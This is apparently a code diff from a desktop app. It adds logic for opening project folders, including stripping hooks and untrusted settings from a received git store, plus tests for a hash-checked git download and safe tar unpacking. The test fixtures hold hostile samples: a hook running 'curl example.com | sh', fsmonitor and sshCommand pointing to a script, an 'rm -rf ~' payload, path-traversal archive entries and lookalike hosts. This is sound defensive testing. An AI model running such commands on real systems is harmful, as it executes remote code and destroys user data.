+ writeFileSync(join(root, '.env'), 'ADMINIUM_SECRET=\nA=1\n');
+ expect(resolveMissingKey(root, { dataDir: null }, { kind: 'new' }, { secret: () => 'n3' })).toEqual({ ok: true });
+ expect(readFileSync(join(root, '.env'), 'utf8')).toBe('ADMINIUM_SECRET=n3\nA=1\n');
+ expect(readFileSync(join(root, 'data', 'meta.db'), 'utf8')).toBe('rows');
+ });
+
+ it('says why when the folder cannot be written to', () => {
+ expect(resolveMissingKey(join(root, 'no', 'such', 'folder'), { dataDir: null }, { kind: 'new' })).toMatchObject({ ok: false, reason: 'failed' });
+ });
+});
+
+describe('a version store that travelled', () => {
+ it('loses its sender’s settings and hooks, and keeps its versions', () => {
+ const store = join(root, '.adminium', 'designer', 'versions.git');
+ mkdirSync(join(store, 'hooks'), { recursive: true });
+ mkdirSync(join(store, 'objects'));
+ writeFileSync(join(store, 'HEAD'), 'ref: refs/heads/x\n');
+ writeFileSync(join(store, 'config'), '[core]\n\tbare = true\n\tfsmonitor = /tmp/run-me.sh\n\tsshCommand = /tmp/run-me.sh\n');
+ writeFileSync(join(store, 'hooks', 'post-commit'), '#!/bin/sh\ncurl example.com | sh\n');
+ expect(cleanVersionStore(root)).toBe(true);
+ expect(readFileSync(join(store, 'config'), 'utf8')).toBe('[core]\n\trepositoryformatversion = 0\n\tfilemode = true\n\tbare = true\n');
+ expect(existsSync(join(store, 'hooks'))).toBe(false);
+ expect(existsSync(join(store, 'objects'))).toBe(true);
+ });
+ it('at a later opening: a store as git wrote it is left alone; one that gained a setting or a hook is cleaned', () => {
+ const store = join(root, '.adminium', 'designer', 'versions.git');
+ mkdirSync(join(store, 'hooks'), { recursive: true });
+ writeFileSync(join(store, 'HEAD'), 'ref: refs/heads/x\n');
+ const asGitWrote = '[core]\n\trepositoryformatversion = 0\n\tfilemode = false\n\tbare = true\n\tignorecase = true\n\tprecomposeunicode = true\n';
+ writeFileSync(join(store, 'config'), asGitWrote);
+ writeFileSync(join(store, 'hooks', 'pre-commit.sample'), '#!/bin/sh\n');
+ expect(tidyVersionStore(root)).toBe(false);
+ expect(readFileSync(join(store, 'config'), 'utf8')).toBe(asGitWrote);
+
+ // Files unpacked over the project brought a program for git to run.
+ writeFileSync(join(store, 'config'), `${asGitWrote}\tfsmonitor = /tmp/run-me.sh\n`);
+ expect(tidyVersionStore(root)).toBe(true);
+ expect(readFileSync(join(store, 'config'), 'utf8')).not.toContain('fsmonitor');
+ mkdirSync(join(store, 'hooks'), { recursive: true });
+ writeFileSync(join(store, 'hooks', 'post-commit'), '#!/bin/sh\ncurl example.com | sh\n');
+ expect(tidyVersionStore(root)).toBe(true);
+ expect(existsSync(join(store, 'hooks'))).toBe(false);
+ writeFileSync(join(store, 'config'), '[core]\n\tbare = true\n[include]\n\tpath = /tmp/theirs\n');
+ expect(tidyVersionStore(root)).toBe(true);
+ expect(tidyVersionStore(join(root, 'no-store'))).toBe(false);
+ });
+
+ it('does nothing for a folder with no store', () => {
+ expect(cleanVersionStore(root)).toBe(false);
+ expect(existsSync(join(root, '.adminium'))).toBe(false);
+ });
+});
diff --git a/apps/desktop/src/main/folder-open.ts b/apps/desktop/src/main/folder-open.ts
new file mode 100644
index 000000000..76ae9721c
--- /dev/null
+++ b/apps/desktop/src/main/folder-open.ts
@@ -0,0 +1,287 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+/**
+ * What main does to a project folder between "the person agreed to open it"
+ * and "its server is started": read what the engine
+ * says the folder holds, make what a folder with no data needs, answer the
+ * question of a missing key, and take the sender's settings out of a version
+ * store that travelled.
+ *
+ * ELECTRON-FREE, and it starts nothing of the folder. The facts themselves are
+ * the engine's (`adminium folder-facts`, run by `make-project.ts`): this file
+ * only reads its answer and writes the few files the answers call for.
+ */
+import { randomBytes } from 'node:crypto';
+import { copyFileSync, existsSync, mkdirSync, readFileSync, readdirSync, realpathSync, renameSync, rmSync, writeFileSync } from 'node:fs';
+import { dirname, isAbsolute, join, relative, resolve } from 'node:path';
+
+import { z } from 'zod';
+
+const named = z.object({ count: z.number().int().nonnegative(), names: z.array(z.string()) });
+
+/** The engine's answer (`apps/server/src/project/folder-facts.ts`), as far as the app reads it. */
+export const folderFactsSchema = z.object({
+ secret: z.boolean(),
+ database: z.enum(['none', 'sqlite', 'elsewhere']),
+ dataDir: z.string().nullable(),
+ lastEngine: z.string().nullable(),
+ newer: z.array(z.object({ name: z.string(), appliedBy: z.string().nullable() })),
+ people: named,
+ apiKeys: named,
+ publicKeys: named,
+ ownerHasPassword: z.boolean().nullable(),
+ running: z.object({ port: z.number().int(), by: z.enum(['cli', 'desktop']) }).nullable(),
+ otherManager: z.object({ manager: z.string(), file: z.string() }).nullable(),
+ engine: z.object({ installed: z.string().nullable(), declared: z.string().nullable(), here: z.string() }),
+ install: z.enum(['no-packages', 'not-finished', 'another-machine', 'changed']).nullable(),
+});
+
+export type FolderFacts = z.infer;
+
+/** The last line of the command's output that is its JSON answer, or `null`. */
+export function parseFolderFacts(output: string): FolderFacts | null {
+ const lines = output.split(/\r?\n/).filter((line) => line.trim().startsWith('{'));
+ for (let i = lines.length - 1; i >= 0; i -= 1) {
+ try {
+ const parsed = folderFactsSchema.safeParse(JSON.parse(lines[i] ?? ''));
+ if (parsed.success) return parsed.data;
+ } catch {
+ // Not the answer: a line a package printed.
+ }
+ }
+ return null;
+}
+
+// ─── Versions ────────────────────────────────────────────────────────────────
+
+const parts = (version: string): [number, number, number] | null => {
+ const found = /^[\^~=v\s]*(\d+)\.(\d+)\.(\d+)/.exec(version);
+ return found === null ? null : [Number(found[1]), Number(found[2]), Number(found[3])];
+};
+
+/** Whether `a` is an earlier release than `b`. A version that does not read is not earlier than anything. */
+export function olderThan(a: string, b: string): boolean {
+ const left = parts(a);
+ const right = parts(b);
+ if (left === null || right === null) return false;
+ for (let i = 0; i < 3; i += 1) {
+ if ((left[i] as number) !== (right[i] as number)) return (left[i] as number) < (right[i] as number);
+ }
+ return false;
+}
+
+/** The Adminium a project's own code imports: what is installed, else what `package.json` asks for. As `x.y.z`. */
+export function enginePin(facts: Pick): string | null {
+ const pin = facts.engine.installed ?? facts.engine.declared;
+ const read = pin === null ? null : parts(pin);
+ return read === null ? null : read.join('.');
+}
+
+/** A folder that brought more than a new project has: other people, keys, or an owner with a password of their own. */
+export function cameWithAccounts(facts: FolderFacts): boolean {
+ return facts.database === 'sqlite' && (facts.people.count > 1 || facts.apiKeys.count > 0 || facts.publicKeys.count > 0 || facts.ownerHasPassword === true);
+}
+
+// ─── `.env`, as text ─────────────────────────────────────────────────────────
+
+const ENV_FILE = '.env';
+const SECRET_NAME = 'ADMINIUM_SECRET';
+
+/** One name's value in a `.env` text, quotes taken off; `null` when the name is not set. Never loaded anywhere. */
+export function envValue(text: string, name: string): string | null {
+ let found: string | null = null;
+ for (const line of text.split(/\r?\n/)) {
+ const match = /^\s*(?:export\s+)?([A-Za-z_][A-Za-z0-9_]*)\s*=\s*(.*)$/.exec(line);
+ if (match === null || match[1] !== name) continue;
+ const raw = (match[2] ?? '').trim();
+ found = /^(["']).*\1$/.test(raw) ? raw.slice(1, -1) : raw.replace(/\s+#.*$/, '');
+ }
+ return found;
+}
+
+/** A `.env` text with `name` set to `value`: its line replaced where it is, or added at the end. */
+export function withEnvValue(text: string, name: string, value: string): string {
+ const lines = text === '' ? [] : text.replace(/\r?\n$/, '').split(/\r?\n/);
+ const at = lines.findIndex((line) => new RegExp(`^\\s*(?:export\\s+)?${name}\\s*=`).test(line));
+ if (at === -1) lines.push(`${name}=${value}`);
+ else lines[at] = `${name}=${value}`;
+ return `${lines.join('\n')}\n`;
+}
+
+const readEnv = (root: string): string => {
+ try {
+ return readFileSync(join(root, ENV_FILE), 'utf8');
+ } catch {
+ return '';
+ }
+};
+
+/** Whether `path` is a file or folder below `root`, by where both really are (links read through). */
+export function strictlyInside(root: string, path: string): boolean {
+ let from: string;
+ let to: string;
+ try {
+ from = realpathSync(root);
+ to = realpathSync(path);
+ } catch {
+ return false;
+ }
+ const way = relative(from, to);
+ return way !== '' && !way.startsWith('..') && !isAbsolute(way);
+}
+
+/** A new key, as the engine's own `new` makes one. */
+export const newSecret = (): string => randomBytes(32).toString('hex');
+
+// ─── A folder with no data yet ───────────────────────────────────────────────
+
+/** The SQLite file a project's `DATABASE_URL` names, absolute, or `null` (another kind of database, or none named). */
+export function projectDatabaseFile(root: string, envText: string): string | null {
+ const url = envValue(envText, 'DATABASE_URL') ?? '';
+ const match = /^sqlite:(?:\/\/)?(.+)$/i.exec(url.trim());
+ if (match === null || match[1] === undefined || match[1] === ':memory:') return null;
+ return isAbsolute(match[1]) ? match[1] : resolve(root, match[1]);
+}
+
+/**
+ * Where this project keeps its data, as its own `.env` says: the database file with the files SQLite keeps beside
+ * it, and the data folder. What "the apps only" must not carry, whatever the folder calls them.
+ */
+export function projectDataPaths(root: string): string[] {
+ const text = readEnv(root);
+ const database = projectDatabaseFile(root, text);
+ const named = (envValue(text, 'ADMINIUM_DATA_DIR') ?? '').trim();
+ return [...(database === null ? [] : [database, `${database}-wal`, `${database}-shm`, `${database}-journal`]), named === '' ? join(root, 'data') : resolve(root, named)];
+}
+
+export interface MadeForFolder {
+ key: boolean;
+ database: boolean;
+}
+
+/**
+ * For a folder whose store does not exist yet: a key in `.env` when it has
+ * none, and the empty database file where the project's address points (a
+ * SQLite connection opens only a file that is there). Never for a folder that
+ * HAS data and no key: that one is asked about ({@link resolveMissingKey}).
+ */
+export function prepareNewData(root: string, facts: Pick, secret: () => string = newSecret): MadeForFolder {
+ const made: MadeForFolder = { key: false, database: false };
+ if (facts.database !== 'none') return made;
+ let text = readEnv(root);
+ if (!facts.secret) {
+ text = withEnvValue(text, SECRET_NAME, secret());
+ writeFileSync(join(root, ENV_FILE), text, { mode: 0o600 });
+ made.key = true;
+ }
+ const file = projectDatabaseFile(root, text);
+ if (file !== null && !existsSync(file)) {
+ mkdirSync(dirname(file), { recursive: true });
+ writeFileSync(file, '');
+ made.database = true;
+ }
+ return made;
+}
+
+// ─── Data with no key ────────────────────────────────────────────────────────
+
+/** `data.before-2026-10-09`: where "start the data fresh" moves the old data. Never deleted. */
+export function dataBeforeName(now: Date): string {
+ return `data.before-${now.toISOString().slice(0, 10)}`;
+}
+
+export type MissingKeyAnswer = { readonly kind: 'env'; readonly file: string } | { readonly kind: 'fresh' } | { readonly kind: 'new' };
+
+export type MissingKeyOutcome = { readonly ok: true } | { readonly ok: false; readonly reason: 'not-a-key-file' | 'failed'; readonly detail?: string };
+
+/**
+ * The three answers to "this project's data is here, but its key is missing".
+ * `env`: the picked file must hold a key; it becomes the project's `.env`
+ * (one that was there is kept beside it). `fresh`: the data folder is moved
+ * aside, then a new key. `new`: a new key over the data that is there.
+ */
+export function resolveMissingKey(root: string, facts: Pick, answer: MissingKeyAnswer, opts: { now?: Date; secret?: () => string } = {}): MissingKeyOutcome {
+ const target = join(root, ENV_FILE);
+ try {
+ if (answer.kind === 'env') {
+ let picked: string;
+ try {
+ picked = readFileSync(answer.file, 'utf8');
+ } catch {
+ return { ok: false, reason: 'not-a-key-file' };
+ }
+ if ((envValue(picked, SECRET_NAME) ?? '').trim() === '') return { ok: false, reason: 'not-a-key-file' };
+ if (existsSync(target) && resolve(answer.file) !== resolve(target)) copyFileSync(target, `${target}.before`);
+ if (resolve(answer.file) !== resolve(target)) writeFileSync(target, picked, { mode: 0o600 });
+ return { ok: true };
+ }
+ if (answer.kind === 'fresh') {
+ const data = facts.dataDir ?? join(root, 'data');
+ // Only a folder of this project's own is moved: a `.env` that names the project itself, or a place outside it
+ // (another program's data, by a folder somebody sent), is never renamed on a click here.
+ if (existsSync(data) && !strictlyInside(root, data)) return { ok: false, reason: 'failed', detail: 'This project keeps its data outside its own folder. Adminium does not move data it did not put there.' };
+ if (existsSync(data)) {
+ const base = join(dirname(data), dataBeforeName(opts.now ?? new Date()));
+ let to = base;
+ for (let n = 2; existsSync(to); n += 1) to = `${base}-${String(n)}`;
+ renameSync(data, to);
+ }
+ }
+ writeFileSync(target, withEnvValue(readEnv(root), SECRET_NAME, (opts.secret ?? newSecret)()), { mode: 0o600 });
+ return { ok: true };
+ } catch (error) {
+ return { ok: false, reason: 'failed', detail: error instanceof Error ? error.message : String(error) };
+ }
+}
+
+// ─── A version store that travelled ──────────────────────────────────────────
+
+const VERSION_STORE = join('.adminium', 'designer', 'versions.git');
+/** What a bare store's settings are when the engine makes one: nothing of the sender's survives being written over. */
+const PLAIN_STORE_CONFIG = '[core]\n\trepositoryformatversion = 0\n\tfilemode = true\n\tbare = true\n';
+
+/**
+ * A folder from someone else may bring its version store, and a store's own
+ * `config` and `hooks/` are things git obeys (a `config` can name a program to
+ * run). On the first open here both are replaced with a plain store's.
+ * Returns whether there was a store to clean.
+ */
+/** The settings git itself writes into a new store. None of them names a program. */
+const PLAIN_SETTINGS = new Set(['repositoryformatversion', 'filemode', 'bare', 'ignorecase', 'symlinks', 'precomposeunicode', 'logallrefupdates']);
+
+/**
+ * At a later opening: the store is cleaned again only when it holds something
+ * git would obey that git did not write (a setting outside the plain ones, a
+ * hook that is not a sample). The store's settings are not part of what the
+ * "open this folder?" question is asked about, so files unpacked over a
+ * project already agreed to could otherwise bring a sender's. A store the
+ * app made is left exactly as git wrote it for this system.
+ */
+export function tidyVersionStore(root: string): boolean {
+ const store = join(root, VERSION_STORE);
+ if (!existsSync(join(store, 'HEAD'))) return false;
+ let plain = true;
+ try {
+ for (const raw of readFileSync(join(store, 'config'), 'utf8').split(/\r?\n/)) {
+ const line = raw.trim();
+ if (line === '' || line.startsWith('#') || line.startsWith(';') || /^\[core\]$/i.test(line)) continue;
+ const name = /^([A-Za-z][A-Za-z0-9-]*)\s*=/.exec(line)?.[1]?.toLowerCase();
+ if (name === undefined || !PLAIN_SETTINGS.has(name)) plain = false;
+ }
+ } catch {
+ plain = false;
+ }
+ try {
+ if (readdirSync(join(store, 'hooks')).some((name) => !name.endsWith('.sample'))) plain = false;
+ } catch {
+ // No hooks folder: nothing to obey.
+ }
+ return plain ? false : cleanVersionStore(root);
+}
+
+export function cleanVersionStore(root: string): boolean {
+ const store = join(root, VERSION_STORE);
+ if (!existsSync(join(store, 'HEAD'))) return false;
+ rmSync(join(store, 'hooks'), { recursive: true, force: true });
+ writeFileSync(join(store, 'config'), PLAIN_STORE_CONFIG);
+ return true;
+}
diff --git a/apps/desktop/src/main/git.test.ts b/apps/desktop/src/main/git.test.ts
new file mode 100644
index 000000000..827e70fc6
--- /dev/null
+++ b/apps/desktop/src/main/git.test.ts
@@ -0,0 +1,463 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+import { createHash } from 'node:crypto';
+import { existsSync, lstatSync, mkdirSync, mkdtempSync, readFileSync, readlinkSync, rmSync, statSync, writeFileSync } from 'node:fs';
+import { createServer, type Server } from 'node:http';
+import type { AddressInfo } from 'node:net';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { gzipSync } from 'node:zlib';
+
+import { afterEach, beforeEach, describe, expect, it } from 'vitest';
+
+import {
+ fetchGit,
+ findGit,
+ GIT_DOWNLOADS,
+ GIT_RECORD_FILE,
+ GIT_TAG,
+ GitFetchError,
+ gitDownloadFor,
+ gitDownloadUrl,
+ gitHome,
+ gitProgramIn,
+ isGitDownloadHost,
+ ownGit,
+ removeUnfinishedGit,
+ unpackTarGz,
+ type FindGitDeps,
+ type GitDownload,
+ type RunResult,
+} from './git.js';
+
+// ─── a tar, made by hand: the entries are the test ──────────────────────────
+
+interface Entry {
+ name: string;
+ kind?: '0' | '1' | '2' | '5' | '3' | 'L' | 'x';
+ data?: string | Buffer;
+ linkTo?: string;
+ mode?: number;
+ prefix?: string;
+}
+
+function tarOf(entries: Entry[]): Buffer {
+ const blocks: Buffer[] = [];
+ for (const entry of entries) {
+ const data = entry.data === undefined ? Buffer.alloc(0) : Buffer.from(entry.data);
+ const header = Buffer.alloc(512);
+ header.write(entry.name, 0, 100, 'utf8');
+ header.write((entry.mode ?? 0o644).toString(8).padStart(7, '0'), 100, 8, 'ascii');
+ header.write('0000000', 108, 8, 'ascii');
+ header.write('0000000', 116, 8, 'ascii');
+ header.write(data.length.toString(8).padStart(11, '0'), 124, 12, 'ascii');
+ header.write('00000000000', 136, 12, 'ascii');
+ header.write(entry.kind ?? '0', 156, 1, 'ascii');
+ if (entry.linkTo !== undefined) header.write(entry.linkTo, 157, 100, 'utf8');
+ header.write('ustar\0', 257, 6, 'ascii');
+ header.write('00', 263, 2, 'ascii');
+ if (entry.prefix !== undefined) header.write(entry.prefix, 345, 155, 'utf8');
+ header.fill(0x20, 148, 156);
+ let sum = 0;
+ for (const byte of header) sum += byte;
+ header.write(`${sum.toString(8).padStart(6, '0')}\0 `, 148, 8, 'ascii');
+ blocks.push(header, data, Buffer.alloc((512 - (data.length % 512)) % 512));
+ }
+ blocks.push(Buffer.alloc(1024));
+ return Buffer.concat(blocks);
+}
+
+const GIT_SCRIPT = '#!/bin/sh\necho "git version 2.53.0"\n';
+const A_GIT: Entry[] = [
+ { name: 'bin/', kind: '5' },
+ { name: 'bin/git', data: GIT_SCRIPT, mode: 0o755 },
+ { name: 'libexec/git-core/git-remote-http', kind: '2', linkTo: '../../bin/git' },
+ { name: 'libexec/git-core/git', kind: '1', linkTo: 'bin/git' },
+ { name: 'share/README', data: 'read me' },
+];
+
+let dir: string;
+beforeEach(() => {
+ dir = mkdtempSync(join(tmpdir(), 'adminium-git-'));
+});
+afterEach(() => {
+ rmSync(dir, { recursive: true, force: true });
+});
+const archive = (entries: Entry[], name = 'a.tar.gz'): string => {
+ const file = join(dir, name);
+ writeFileSync(file, gzipSync(tarOf(entries)));
+ return file;
+};
+
+// ─── unpacking ───────────────────────────────────────────────────────────────
+
+describe('unpackTarGz', () => {
+ it('writes files, folders and both kinds of link, and counts what it wrote', async () => {
+ const out = join(dir, 'out');
+ expect(await unpackTarGz(archive(A_GIT), out)).toBe(4);
+ expect(readFileSync(join(out, 'bin', 'git'), 'utf8')).toBe(GIT_SCRIPT);
+ expect(statSync(join(out, 'bin', 'git')).mode & 0o111).not.toBe(0);
+ expect(statSync(join(out, 'share', 'README')).mode & 0o111).toBe(0);
+ expect(lstatSync(join(out, 'libexec', 'git-core', 'git-remote-http')).isSymbolicLink()).toBe(true);
+ expect(readlinkSync(join(out, 'libexec', 'git-core', 'git-remote-http'))).toBe('../../bin/git');
+ expect(statSync(join(out, 'libexec', 'git-core', 'git')).ino).toBe(statSync(join(out, 'bin', 'git')).ino);
+ });
+
+ it('reads a long name from the entry before it, and a path split across the two name fields', async () => {
+ const long = `share/${'a-long-folder-name/'.repeat(8)}file.txt`;
+ const out = join(dir, 'out');
+ await unpackTarGz(
+ archive([
+ { name: '././@LongLink', kind: 'L', data: `${long}\0` },
+ { name: 'share/truncated', data: 'long' },
+ { name: 'name.txt', prefix: 'deep/prefix', data: 'split' },
+ ]),
+ out,
+ );
+ expect(readFileSync(join(out, long), 'utf8')).toBe('long');
+ expect(readFileSync(join(out, 'deep', 'prefix', 'name.txt'), 'utf8')).toBe('split');
+ });
+
+ it.each([
+ ['a name that climbs out', [{ name: '../outside.txt', data: 'x' }]],
+ ['a name that climbs out from inside', [{ name: 'bin/../../outside.txt', data: 'x' }]],
+ ['an absolute name', [{ name: '/etc/outside.txt', data: 'x' }]],
+ ['a Windows drive name', [{ name: 'C:/outside.txt', data: 'x' }]],
+ ['a link to an absolute path', [{ name: 'bin/git', kind: '2', linkTo: '/bin/sh' }]],
+ ['a link that climbs out from where it stands', [{ name: 'bin/git', kind: '2', linkTo: '../../outside' }]],
+ ['a hard link to a file outside', [{ name: 'bin/git', kind: '1', linkTo: '../outside' }]],
+ ['a device', [{ name: 'dev/null', kind: '3' }]],
+ ] as Array<[string, Entry[]]>)('refuses %s, and writes nothing outside', async (_label, entries) => {
+ const out = join(dir, 'nested', 'out');
+ mkdirSync(join(dir, 'nested'));
+ await expect(unpackTarGz(archive(entries), out)).rejects.toThrow(/leaves the folder|points outside|not unpacked/);
+ expect(existsSync(join(dir, 'nested', 'outside.txt'))).toBe(false);
+ expect(existsSync(join(dir, 'outside.txt'))).toBe(false);
+ });
+
+ it('refuses an archive that stops in the middle of a file, and a folder that is already there', async () => {
+ const whole = tarOf([{ name: 'bin/git', data: 'x'.repeat(2000) }]);
+ const cut = join(dir, 'cut.tar.gz');
+ writeFileSync(cut, gzipSync(whole.subarray(0, 512 + 700)));
+ await expect(unpackTarGz(cut, join(dir, 'out'))).rejects.toThrow(/ends in the middle/);
+ mkdirSync(join(dir, 'there'));
+ await expect(unpackTarGz(archive(A_GIT), join(dir, 'there'))).rejects.toThrow(/already exists/);
+ });
+});
+
+// ─── the download ────────────────────────────────────────────────────────────
+
+describe('what is fetched', () => {
+ it('names one file per system, each with its size and a full SHA-256', () => {
+ expect(Object.keys(GIT_DOWNLOADS).sort()).toEqual(['darwin-arm64', 'darwin-x64', 'linux-arm64', 'linux-x64', 'win32-arm64', 'win32-x64']);
+ for (const [system, download] of Object.entries(GIT_DOWNLOADS)) {
+ expect(download.sha256, system).toMatch(/^[0-9a-f]{64}$/);
+ expect(download.bytes, system).toBeGreaterThan(20_000_000);
+ expect(download.file, system).toMatch(/^dugite-native-v2\.53\.0-[0-9a-f]+-(macOS|ubuntu|windows)-(arm64|x64)\.tar\.gz$/);
+ }
+ expect(gitDownloadFor('freebsd', 'x64')).toBeNull();
+ expect(gitDownloadUrl(GIT_DOWNLOADS['darwin-arm64'] as GitDownload)).toBe(`https://github.com/desktop/dugite-native/releases/download/${GIT_TAG}/dugite-native-v2.53.0-4098283-macOS-arm64.tar.gz`);
+ });
+
+ it.each([
+ ['https://github.com/desktop/dugite-native/releases/download/x/y.tar.gz', true],
+ ['https://release-assets.githubusercontent.com/github-production-release-asset/1/2?sig=3', true],
+ ['https://objects.githubusercontent.com/x', true],
+ ['http://github.com/desktop/dugite-native/x', false],
+ ['https://github.com.evil.io/x', false],
+ ['https://evil.io/github.com/x', false],
+ ['https://user@github.com/x', false],
+ ['https://github.com:8443/x', false],
+ ['not a url', false],
+ ])('%s may answer the download: %s', (url, allowed) => {
+ expect(isGitDownloadHost(url)).toBe(allowed);
+ });
+});
+
+describe('fetchGit', () => {
+ let server: Server;
+ let routes: Map void>;
+ let base: string;
+ beforeEach(async () => {
+ routes = new Map();
+ server = createServer((req, res) => {
+ const route = routes.get(req.url ?? '');
+ if (typeof route !== 'function') {
+ res.statusCode = 404;
+ res.end();
+ } else route(res);
+ });
+ await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
+ base = `http://127.0.0.1:${String((server.address() as AddressInfo).port)}`;
+ });
+ afterEach(async () => {
+ await new Promise((resolve) => server.close(resolve));
+ });
+
+ const packed = gzipSync(tarOf(A_GIT));
+ const good: GitDownload = { file: 'git.tar.gz', bytes: packed.length, sha256: createHash('sha256').update(packed).digest('hex') };
+ const local = (url: string): boolean => url.startsWith(base);
+ const options = (over: Partial[0]> = {}): Parameters[0] => ({
+ userDataDir: dir,
+ platform: 'darwin',
+ arch: 'arm64',
+ fetch: (url, init) => fetch(url, init),
+ download: good,
+ url: `${base}/git.tar.gz`,
+ allowHost: local,
+ ...over,
+ });
+ const serve = (path: string, body: Buffer): void => {
+ routes.set(path, (res) => res.end(body));
+ };
+
+ it('fetches, checks, unpacks, writes the record last, and says where the program is', async () => {
+ serve('/git.tar.gz', packed);
+ const progress: number[] = [];
+ const program = await fetchGit(options({ onProgress: (received) => progress.push(received) }));
+ expect(program).toBe(join(gitHome(dir), 'bin', 'git'));
+ expect(readFileSync(program, 'utf8')).toBe(GIT_SCRIPT);
+ expect(JSON.parse(readFileSync(join(gitHome(dir), GIT_RECORD_FILE), 'utf8'))).toEqual({ tag: GIT_TAG, sha256: good.sha256, entries: 4 });
+ expect(progress.at(-1)).toBe(packed.length);
+ // Nothing of the work is left beside it.
+ expect(existsSync(`${gitHome(dir)}.partial`)).toBe(false);
+ expect(existsSync(`${gitHome(dir)}.download`)).toBe(false);
+ });
+
+ it('follows a redirect only to a host a release’s file is served from', async () => {
+ serve('/real', packed);
+ routes.set('/git.tar.gz', (res) => {
+ res.statusCode = 302;
+ res.setHeader('location', '/real');
+ res.end();
+ });
+ await expect(fetchGit(options())).resolves.toContain('bin');
+
+ rmSync(join(dir, 'git'), { recursive: true, force: true });
+ routes.set('/git.tar.gz', (res) => {
+ res.statusCode = 302;
+ res.setHeader('location', 'https://mirror.somewhere-else.io/git.tar.gz');
+ res.end();
+ });
+ await expect(fetchGit(options())).rejects.toMatchObject({ reason: 'refused-address' });
+ expect(existsSync(gitHome(dir))).toBe(false);
+ });
+
+ it('a file with another hash is deleted, unpacked nowhere, and said to be the wrong file', async () => {
+ const other = gzipSync(tarOf([{ name: 'bin/git', data: '#!/bin/sh\nrm -rf ~\n', mode: 0o755 }]));
+ serve('/git.tar.gz', other);
+ const failed = await fetchGit(options({ download: { ...good, bytes: other.length } })).catch((error: unknown) => error);
+ expect(failed).toBeInstanceOf(GitFetchError);
+ expect((failed as GitFetchError).reason).toBe('wrong-file');
+ expect(existsSync(gitHome(dir))).toBe(false);
+ expect(existsSync(`${gitHome(dir)}.download`)).toBe(false);
+ expect(ownGit(dir, 'darwin', 'arm64')).toBeNull();
+ });
+
+ it('a file that grows past its promised size is stopped as it arrives', async () => {
+ serve('/git.tar.gz', Buffer.concat([packed, Buffer.alloc(4096, 1)]));
+ await expect(fetchGit(options())).rejects.toMatchObject({ reason: 'wrong-file' });
+ });
+
+ it('says so when nothing answers, when GitHub answers an error, and when the person stops it', async () => {
+ await expect(fetchGit(options({ url: `${base}/missing` }))).rejects.toMatchObject({ reason: 'no-connection' });
+ await expect(fetchGit(options({ fetch: () => Promise.reject(new Error('getaddrinfo ENOTFOUND github.com')) }))).rejects.toMatchObject({ reason: 'no-connection' });
+ const stop = new AbortController();
+ serve('/git.tar.gz', packed);
+ stop.abort();
+ await expect(fetchGit(options({ signal: stop.signal }))).rejects.toMatchObject({ reason: 'stopped' });
+ expect(existsSync(gitHome(dir))).toBe(false);
+ });
+
+ it('a kind of computer with no download is told so, and nothing is asked of the network', async () => {
+ let asked = 0;
+ await expect(
+ fetchGit({ userDataDir: dir, platform: 'freebsd', arch: 'x64', fetch: () => ((asked += 1), Promise.reject(new Error('never'))) }),
+ ).rejects.toMatchObject({ reason: 'no-download' });
+ expect(asked).toBe(0);
+ });
+
+ it('without the test’s own seams it asks GitHub and nobody else', async () => {
+ const asked: string[] = [];
+ await fetchGit({
+ userDataDir: dir,
+ platform: 'darwin',
+ arch: 'arm64',
+ fetch: (url) => {
+ asked.push(url);
+ return Promise.resolve(new Response(null, { status: 302, headers: { location: 'https://downloads.somewhere-else.io/x' } }));
+ },
+ }).catch(() => undefined);
+ expect(asked).toEqual([`https://github.com/desktop/dugite-native/releases/download/${GIT_TAG}/dugite-native-v2.53.0-4098283-macOS-arm64.tar.gz`]);
+ });
+});
+
+// ─── the app's own git, and unfinished ones ─────────────────────────────────
+
+describe('ownGit and removeUnfinishedGit', () => {
+ const place = (tag: string, record: unknown): string => {
+ const home = gitHome(dir, tag);
+ mkdirSync(join(home, 'bin'), { recursive: true });
+ writeFileSync(join(home, 'bin', 'git'), GIT_SCRIPT, { mode: 0o755 });
+ if (record !== undefined) writeFileSync(join(home, GIT_RECORD_FILE), JSON.stringify(record));
+ return home;
+ };
+ const pinned = (GIT_DOWNLOADS['darwin-arm64'] as GitDownload).sha256;
+
+ it('is there when its record is, with the hash this app pins', () => {
+ expect(ownGit(dir, 'darwin', 'arm64')).toBeNull();
+ const home = place(GIT_TAG, { tag: GIT_TAG, sha256: pinned, entries: 4 });
+ expect(ownGit(dir, 'darwin', 'arm64')).toBe(gitProgramIn(home, 'darwin'));
+ expect(gitProgramIn('C:\\git', 'win32')).toBe(join('C:\\git', 'cmd', 'git.exe'));
+ });
+
+ it('is not there with no record, another hash, a record for another tag, or no program', () => {
+ place(GIT_TAG, undefined);
+ expect(ownGit(dir, 'darwin', 'arm64')).toBeNull();
+ place(GIT_TAG, { tag: GIT_TAG, sha256: 'f'.repeat(64), entries: 4 });
+ expect(ownGit(dir, 'darwin', 'arm64')).toBeNull();
+ place(GIT_TAG, { tag: 'v0.0.0', sha256: pinned, entries: 4 });
+ expect(ownGit(dir, 'darwin', 'arm64')).toBeNull();
+ const home = place(GIT_TAG, { tag: GIT_TAG, sha256: pinned, entries: 4 });
+ rmSync(join(home, 'bin', 'git'));
+ expect(ownGit(dir, 'darwin', 'arm64')).toBeNull();
+ });
+
+ it('an older one a person already has keeps working under a newer app', () => {
+ const home = place('v2.47.0-1', { tag: 'v2.47.0-1', sha256: 'a'.repeat(64), entries: 9 });
+ expect(ownGit(dir, 'darwin', 'arm64')).toBe(gitProgramIn(home, 'darwin'));
+ });
+
+ it('a folder with no record is a download that was cut short: it goes at the next launch', () => {
+ place(GIT_TAG, { tag: GIT_TAG, sha256: pinned, entries: 4 });
+ place('v9.9.9-1', undefined);
+ mkdirSync(`${gitHome(dir)}.partial`);
+ expect(removeUnfinishedGit(dir).sort()).toEqual([`${GIT_TAG}.partial`, 'v9.9.9-1']);
+ expect(existsSync(gitHome(dir))).toBe(true);
+ expect(removeUnfinishedGit(join(dir, 'nothing-here'))).toEqual([]);
+ });
+});
+
+// ─── finding ─────────────────────────────────────────────────────────────────
+
+describe('findGit', () => {
+ type Answer = RunResult | ((args: readonly string[], env: Record) => RunResult);
+ function world(platform: NodeJS.Platform, files: string[], answers: Record, env: NodeJS.ProcessEnv = { HOME: '/Users/ava', USER: 'ava', SHELL: '/bin/zsh', PATH: '/should/not/leak', SECRET_TOKEN: 'x' }) {
+ const started: string[] = [];
